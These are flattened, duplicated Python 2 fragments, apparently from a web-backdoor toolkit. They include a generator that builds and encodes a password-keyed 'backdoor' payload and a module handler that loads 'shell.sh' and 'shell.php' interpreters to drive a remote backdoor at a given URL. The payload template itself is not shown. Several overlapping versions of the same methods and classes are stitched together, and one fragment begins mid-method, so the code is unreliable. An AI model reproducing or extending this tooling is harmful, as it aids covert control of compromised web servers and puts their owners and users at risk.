def __init__(self, password): if len(password) < 4: raise ModuleException( 'generate', 'Password \'%s\' too short, choose another one' % password) self.password = password self.start_key = self.password[:2] self.end_key = self.password[2:] self.payload = self.payload_template.replace( '%%%START_KEY%%%', self.start_key).replace('%%%END_KEY%%%', self.end_key).replace('\n', '') self.backdoor = self.encode_template()
def load(self, module_name, disable_interpreter_probe=False): if not module_name in self.modules: if module_name not in self.modules_classes.keys(): raise ModuleException( module_name, "Not found in path '%s'." % (self.path_modules)) self.modules[module_name] = self.modules_classes[module_name]( self, self.url, self.password) if module_name.startswith('shell.'): self.loaded_shells.append(module_name) return self.modules[module_name]
def load(self, module_name, init_module = True, disable_interpreter_probe=False): if not module_name in self.modules: if module_name not in self.module_info.keys(): raise ModuleException(module_name, "Module not found in path '%s'." % (self.path_modules) ) mod = __import__('modules.' + module_name, fromlist = ["*"]) modclass = getattr(mod, mod.classname) if not init_module: return modclass self.modules[module_name]=modclass(self, self.url, self.password) if module_name.startswith('shell.'): self.loaded_shells.append(module_name) return self.modules[module_name]
class ModHandler(Helper): interpreters_priorities = ['shell.sh', 'shell.php'] def __init__(self, url=None, password=None, path_modules='modules'): self.url = url self.password = password if not os.path.exists(path_modules): raise Exception("No module directory %s found." % path_modules) self.path_modules = path_modules self.loaded_shells = [] self.modules_classes = {} self.modules = {} Helper.__init__(self) self._first_load(self.path_modules) self.verbosity = [3] self.interpreter = None def _first_load(self, startpath, recursive=True): for f in os.listdir(startpath): f = startpath + os.sep + f if os.path.isdir(f) and recursive: self._first_load(f, False) if os.path.isfile(f) and f.endswith( '.py') and not f.endswith('__init__.py'): f = f[len(self.path_modules) + 1:-3].replace('/', '.') mod = __import__('%s.%s' % (self.path_modules, f), fromlist=["*"]) modclass = getattr(mod, mod.classname) self.modules_classes[f] = modclass parts = f.split('.') if parts[0] not in self.modules_names_by_group: self.modules_names_by_group[parts[0]] = [] self.modules_names_by_group[parts[0]].append(f) self.ordered_groups = self.modules_names_by_group.keys() self.ordered_groups.sort() def load(self, module_name, disable_interpreter_probe=False): if not module_name in self.modules: if module_name not in self.modules_classes.keys(): raise ModuleException( module_name, "Not found in path '%s'." % (self.path_modules)) self.modules[module_name] = self.modules_classes[module_name]( self, self.url, self.password) if module_name.startswith('shell.'): self.loaded_shells.append(module_name) return self.modules[module_name] def set_verbosity(self, v=None): if not v: if self.verbosity: self.verbosity.pop() else: self.verbosity = [3] else: self.verbosity.append(v) def load_interpreters(self): for interpr in self.interpreters_priorities: try: self.load(interpr) except ModuleException, e: print '[!] [%s] %s' % (e.module, e.error) else: self.interpreter = interpr return self.interpreter raise ModuleException( '[!]', 'No remote backdoor found. Check URL and password.')
class ModHandler(Helper): interpreters_priorities = ['shell.sh', 'shell.php'] def __init__(self, url=None, password=None, path_modules='modules'): self.url = url self.password = password if not os.path.exists(path_modules): raise Exception("No module directory %s found." % path_modules) self.path_modules = path_modules self.loaded_shells = [] self.modules = {} Helper.__init__(self) self.verbosity = 3 self.interpreter = None # self.__load_interpreters() def load(self, module_name, init_module=True, disable_interpreter_probe=False): if not module_name in self.modules: if module_name not in self.module_info.keys(): raise ModuleException( module_name, "Module not found in path '%s'." % (self.path_modules)) mod = __import__('modules.' + module_name, fromlist=["*"]) modclass = getattr(mod, mod.classname) if not init_module: return modclass self.modules[module_name] = modclass(self, self.url, self.password) if module_name.startswith('shell.'): self.loaded_shells.append(module_name) return self.modules[module_name] def set_verbosity(self, v=3): self.verbosity = v # # def get_default_interpreter(self): # # # for interp in self.interpreters_priorities: # if interp in self.loaded_shells: # return interp # def load_interpreters(self): for interpr in self.interpreters_priorities: try: self.load(interpr) except ModuleException, e: print '[!] [%s] %s' % (e.module, e.error) else: self.interpreter = interpr return self.interpreter raise ModuleException( '[!]', 'No remote backdoor found. Check URL and password.')
return self.modules[module_name] def set_verbosity(self, v=None): if not v: if self.verbosity: self.verbosity.pop() else: self.verbosity = [3] else: self.verbosity.append(v) def load_interpreters(self): for interpr in self.interpreters_priorities: try: self.load(interpr) except ModuleException, e: print '[!] [%s] %s' % (e.module, e.error) else: self.interpreter = interpr return self.interpreter raise ModuleException( '[!]', 'No remote backdoor found. Check URL and password.') #